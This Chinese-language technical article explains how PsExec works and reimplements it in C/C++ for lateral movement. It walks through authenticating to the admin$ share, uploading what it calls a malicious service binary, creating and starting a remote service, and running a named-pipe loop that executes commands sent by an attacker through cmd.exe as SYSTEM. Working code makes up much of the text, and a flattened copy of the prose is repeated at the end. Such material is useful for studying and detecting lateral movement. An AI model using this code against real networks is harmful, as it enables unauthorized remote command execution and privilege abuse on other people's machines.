psexec原理分析和实现
字数 1312 2025-08-06 18:07:37

PsExec 原理分析与实现详解

0x00 前言

PsExec 是 Sysinternals 提供的 Windows 工具之一,最初用于管理员批量管理机器,后被攻击者用于横向渗透。

使用要求

  • 远程机器的 139 或 445 端口开启(SMB 服务)
  • 具备明文密码或 NTLM 哈希
  • 有权限写入共享文件夹
  • 能在远程机器创建服务(SC_MANAGER_CREATE_SERVICE 权限)
  • 能启动创建的服务(SERVICE_QUERY_STATUS && SERVICE_START 权限)

0x01 PsExec 执行原理

执行流程

  1. 将 PSEXESVC.exe 上传到 admin$ 共享文件夹
  2. 远程创建用于运行 PSEXESVC.exe 的服务
  3. 远程启动服务

PSEXESVC 服务作为重定向器(包装器):

  • 在远程系统上运行指定可执行文件(如 cmd.exe)
  • 通过命名管道重定向进程的输入/输出

0x02 流量分析

  1. 使用账户密码通过 SMB 会话进行身份验证
  2. 访问 ADMIN$ 共享上传 PSEXESVC.exe
  3. 打开 svcctl 句柄与服务控制器(SCM)通信
  4. 通过 DCE\RPC 调用启动 PsExec
  5. 使用上传的 PSEXESVC.exe 作为服务二进制文件调用 CreateService
  6. 调用 StartService
  7. 创建命名管道重定向 stdin/stdout/stderr

0x03 代码实现

执行流程

  1. 连接 SMB 共享
  2. 上传恶意服务文件到共享目录
  3. 打开 SCM 创建服务
  4. 启动服务
  5. 服务创建输入输出管道
  6. 等待攻击者连接管道
  7. 从管道读取命令
  8. 输出执行结果到管道
  9. 循环步骤 7-8
  10. 删除服务
  11. 删除文件

1. 连接 SMB 共享

使用 WNetAddConnection2WNetAddConnection3

DWORD WNetAddConnection2A(
    [in] LPNETRESOURCEA lpNetResource,  // 连接信息结构指针
    [in] LPCSTR lpPassword,             // 密码
    [in] LPCSTR lpUserName,             // 用户名
    [in] DWORD dwFlags                  // 选项
);

实现示例:

DWORD ConnectSMBServer(LPCWSTR lpwsHost, LPCWSTR lpwsUserName, LPCWSTR lpwsPassword) {
    PWCHAR lpwsIPC = new WCHAR[MAX_PATH];
    DWORD dwRetVal;
    NETRESOURCE nr;
    DWORD dwFlags;
    
    ZeroMemory(&nr, sizeof(NETRESOURCE));
    swprintf(lpwsIPC, 100, TEXT("\\\\%s\\admin$"), lpwsHost);
    
    nr.dwType = RESOURCETYPE_ANY;
    nr.lpLocalName = NULL;
    nr.lpRemoteName = lpwsIPC;
    nr.lpProvider = NULL;
    dwFlags = CONNECT_UPDATE_PROFILE;
    
    dwRetVal = WNetAddConnection2(&nr, lpwsPassword, lpwsUserName, dwFlags);
    
    if (dwRetVal == NO_ERROR) {
        wprintf(L"[*] Connect added to %s\n", nr.lpRemoteName);
        return dwRetVal;
    }
    
    wprintf(L"[*] WNetAddConnection2 failed with error: %u\n", dwRetVal);
    return -1;
}

2. 上传文件

利用 CIFS 协议将网络共享映射为本地资源,使用 CopyFile API:

BOOL CopyFile(
    [in] LPCTSTR lpExistingFileName,
    [in] LPCTSTR lpNewFileName,
    [in] BOOL bFailIfExists
);

实现示例:

BOOL UploadFileBySMB(LPCWSTR lpwsSrcPath, LPCWSTR lpwsDstPath) {
    DWORD dwRetVal;
    dwRetVal = CopyFile(lpwsSrcPath, lpwsDstPath, FALSE);
    return dwRetVal > 0 ? TRUE : FALSE;
}

3. 编写服务程序

Windows 服务模板:

#include <Windows.h>
#include <stdio.h>

#define SLEEP_TIME 5000
#define LOGFILE "D:\\log.txt"

SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;

void ServiceMain(int argc, char** argv);
void CtrlHandler(DWORD request);
int InitService();

int main(int argc, CHAR* argv[]) {
    WCHAR WserviceName[] = TEXT("Monitor");
    SERVICE_TABLE_ENTRY ServiceTable[2];
    
    ServiceTable[0].lpServiceName = WserviceName;
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;
    
    StartServiceCtrlDispatcher(ServiceTable);
    return 0;
}

int WriteToLog(const char* str) {
    FILE* pfile;
    fopen_s(&pfile, LOGFILE, "a+");
    if (pfile == NULL) return -1;
    fprintf_s(pfile, "%s\n", str);
    fclose(pfile);
    return 0;
}

int InitService() {
    CHAR Message[] = "Monitoring started.";
    OutputDebugString(TEXT("Monitoring started."));
    return WriteToLog(Message);
}

void CtrlHandler(DWORD request) {
    switch (request) {
        case SERVICE_CONTROL_STOP:
        case SERVICE_CONTROL_SHUTDOWN:
            WriteToLog("Monitoring stopped.");
            ServiceStatus.dwWin32ExitCode = 0;
            ServiceStatus.dwCurrentState = SERVICE_STOPPED;
            SetServiceStatus(hStatus, &ServiceStatus);
            return;
        default: break;
    }
    SetServiceStatus(hStatus, &ServiceStatus);
}

void ServiceMain(int argc, char** argv) {
    WCHAR WserviceName[] = TEXT("Monitor");
    int error;
    
    ServiceStatus.dwServiceType = SERVICE_WIN32;
    ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
    ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_STOP;
    ServiceStatus.dwWin32ExitCode = 0;
    ServiceStatus.dwServiceSpecificExitCode = 0;
    ServiceStatus.dwCheckPoint = 0;
    ServiceStatus.dwWaitHint = 0;
    
    hStatus = ::RegisterServiceCtrlHandler(WserviceName, (LPHANDLER_FUNCTION)CtrlHandler);
    if (hStatus == (SERVICE_STATUS_HANDLE)0) {
        WriteToLog("RegisterServiceCtrlHandler failed");
        return;
    }
    
    WriteToLog("RegisterServiceCtrlHandler success");
    error = InitService();
    if (error) {
        ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        ServiceStatus.dwWin32ExitCode = -1;
        SetServiceStatus(hStatus, &ServiceStatus);
        return;
    }
    
    ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    SetServiceStatus(hStatus, &ServiceStatus);
    
    // TODO: 在此处实现服务功能
}

4. 远程管理服务

使用 SCM API:

SC_HANDLE OpenSCManagerA(
    [in, optional] LPCSTR lpMachineName,    // 目标计算机名
    [in, optional] LPCSTR lpDatabaseName,   // SCM 数据库名
    [in] DWORD dwDesiredAccess              // 访问权限
);

SC_HANDLE CreateServiceA(
    [in] SC_HANDLE hSCManager,
    [in] LPCSTR lpServiceName,
    [in, optional] LPCSTR lpDisplayName,
    [in] DWORD dwDesiredAccess,
    [in] DWORD dwServiceType,
    [in] DWORD dwStartType,
    [in] DWORD dwErrorControl,
    [in, optional] LPCSTR lpBinaryPathName,
    [in, optional] LPCSTR lpLoadOrderGroup,
    [out, optional] LPDWORD lpdwTagId,
    [in, optional] LPCSTR lpDependencies,
    [in, optional] LPCSTR lpServiceStartName,
    [in, optional] LPCSTR lpPassword
);

实现示例:

BOOL CreateServiceWithSCM(LPCWSTR lpwsSCMServer, LPCWSTR lpwsServiceName, LPCWSTR lpwsServicePath) {
    SC_HANDLE hSCM;
    SC_HANDLE hService;
    SERVICE_STATUS ss;
    
    hSCM = OpenSCManager(lpwsSCMServer, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
    if (hSCM == NULL) {
        std::cout << "OpenSCManager Error: " << GetLastError() << std::endl;
        return -1;
    }
    
    hService = CreateService(
        hSCM,
        lpwsServiceName,
        lpwsServiceName,
        GENERIC_ALL,
        SERVICE_WIN32_OWN_PROCESS,
        SERVICE_DEMAND_START,
        SERVICE_ERROR_IGNORE,
        lpwsServicePath,
        NULL, NULL, NULL, NULL, NULL);
    
    if (hService == NULL) {
        std::cout << "CreateService Error: " << GetLastError() << std::endl;
        return -1;
    }
    
    hService = OpenService(hSCM, lpwsServiceName, GENERIC_ALL);
    if (hService == NULL) {
        std::cout << "OpenService Error: " << GetLastError() << std::endl;
        return -1;
    }
    
    StartService(hService, NULL, NULL);
    return 0;
}

5. 管道通信

命名管道服务端

创建命名管道:

BOOL CreateStdNamedPipe(PHANDLE lpPipe, LPCTSTR lpPipeName) {
    *lpPipe = CreateNamedPipe(
        lpPipeName,
        PIPE_ACCESS_DUPLEX,
        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
        PIPE_UNLIMITED_INSTANCES,
        BUFSIZE,
        BUFSIZE,
        0,
        NULL);
    return !(*lpPipe == INVALID_HANDLE_VALUE);
}

等待客户端连接:

if (!ConnectNamedPipe(hStdoutPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED)) {
    OutputError("ConnectNamePipe PSEXEC", GetLastError());
    CloseHandle(hStdoutPipe);
    return -1;
}

处理命令循环:

while (true) {
    DWORD cbBytesRead = 0;
    ZeroMemory(pReadBuffer, sizeof(TCHAR) * BUFSIZE);
    
    if (!ReadFile(hStdoutPipe, pReadBuffer, BUFSIZE, &cbBytesRead, NULL)) {
        OutputError("[!] ReadFile from client failed!\n", GetLastError());
        return -1;
    }
    
    // 创建子进程执行命令
    sprintf_s(lpCommandLine, BUFSIZE, "cmd.exe /c \"%s && exit\"", pReadBuffer);
    if (!CreateProcess(NULL, lpCommandLine, NULL, NULL, TRUE, 
                      CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
        OutputError("CreateProcess", GetLastError());
        return -1;
    }
    
    WaitForSingleObject(pi.hProcess, INFINITE);
    
    // 读取执行结果
    fSuccess = ReadFile(hReadPipe, pWriteBuffer, BUFSIZE * sizeof(TCHAR), &cbBytesRead, NULL);
    
    // 发送结果到客户端
    if (!WriteFile(hStdoutPipe, pWriteBuffer, cbBytesRead, &cbToWritten, NULL)) {
        OutputError("WriteFile", GetLastError());
        return -1;
    }
}

命名管道客户端

连接管道:

hStdoutPipe = CreateFile(
    lpszStdoutPipeName,
    GENERIC_READ | GENERIC_WRITE,
    0,
    NULL,
    OPEN_EXISTING,
    0,
    NULL);

if (WaitNamedPipe(lpszStdoutPipeName, 20000)) {
    _tprintf(TEXT("[!] Could not open pipe (PSEXEC): 20 second wait timed out.\n"));
    return -1;
}

交互循环:

while (true) {
    std::string command;
    std::cout << "\nPsExec>";
    getline(std::cin, command);
    
    cbToRead = command.length() * sizeof(TCHAR);
    if (!WriteFile(hStdoutPipe, (LPCVOID)command.c_str(), cbToRead, &cbRead, NULL)) {
        _tprintf(TEXT("[!] WriteFile to server error! GLE = %d\n"), GetLastError());
        break;
    }
    
    fSuccess = ReadFile(hStdoutPipe, chBuf, BUFSIZE * sizeof(TCHAR), &cbRead, NULL);
    if (!fSuccess) {
        _tprintf("ReadFile error. GLE = %d", GetLastError());
    }
    
    std::cout << chBuf << std::endl;
}

0x04 权限说明

服务通常以 SYSTEM 权限运行,因此 PsExec 执行后会获得 SYSTEM 权限。Metasploit 的 getsystem 命令也利用了这一原理。

0x05 参考链接

  • https://rcoil.me/2019/08/%E3%80%90%E7%9F%A5%E8%AF%86%E5%9B%9E%E9%A1%BE%E3%80%91%E6%B7%B1%E5%85%A5%E4%BA%86%E8%A7%A3%20PsExec/
  • https://docs.microsoft.com/en-us/windows/win32/ipc/anonymous-pipes
  • https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipes
PsExec 原理分析与实现详解 0x00 前言 PsExec 是 Sysinternals 提供的 Windows 工具之一,最初用于管理员批量管理机器,后被攻击者用于横向渗透。 使用要求 远程机器的 139 或 445 端口开启(SMB 服务) 具备明文密码或 NTLM 哈希 有权限写入共享文件夹 能在远程机器创建服务(SC_ MANAGER_ CREATE_ SERVICE 权限) 能启动创建的服务(SERVICE_ QUERY_ STATUS && SERVICE_ START 权限) 0x01 PsExec 执行原理 执行流程 将 PSEXESVC.exe 上传到 admin$ 共享文件夹 远程创建用于运行 PSEXESVC.exe 的服务 远程启动服务 PSEXESVC 服务作为重定向器(包装器): 在远程系统上运行指定可执行文件(如 cmd.exe) 通过命名管道重定向进程的输入/输出 0x02 流量分析 使用账户密码通过 SMB 会话进行身份验证 访问 ADMIN$ 共享上传 PSEXESVC.exe 打开 svcctl 句柄与服务控制器(SCM)通信 通过 DCE\RPC 调用启动 PsExec 使用上传的 PSEXESVC.exe 作为服务二进制文件调用 CreateService 调用 StartService 创建命名管道重定向 stdin/stdout/stderr 0x03 代码实现 执行流程 连接 SMB 共享 上传恶意服务文件到共享目录 打开 SCM 创建服务 启动服务 服务创建输入输出管道 等待攻击者连接管道 从管道读取命令 输出执行结果到管道 循环步骤 7-8 删除服务 删除文件 1. 连接 SMB 共享 使用 WNetAddConnection2 或 WNetAddConnection3 : 实现示例: 2. 上传文件 利用 CIFS 协议将网络共享映射为本地资源,使用 CopyFile API: 实现示例: 3. 编写服务程序 Windows 服务模板: 4. 远程管理服务 使用 SCM API: 实现示例: 5. 管道通信 命名管道服务端 创建命名管道: 等待客户端连接: 处理命令循环: 命名管道客户端 连接管道: 交互循环: 0x04 权限说明 服务通常以 SYSTEM 权限运行,因此 PsExec 执行后会获得 SYSTEM 权限。Metasploit 的 getsystem 命令也利用了这一原理。 0x05 参考链接 https://rcoil.me/2019/08/%E3%80%90%E7%9F%A5%E8%AF%86%E5%9B%9E%E9%A1%BE%E3%80%91%E6%B7%B1%E5%85%A5%E4%BA%86%E8%A7%A3%20PsExec/ https://docs.microsoft.com/en-us/windows/win32/ipc/anonymous-pipes https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipes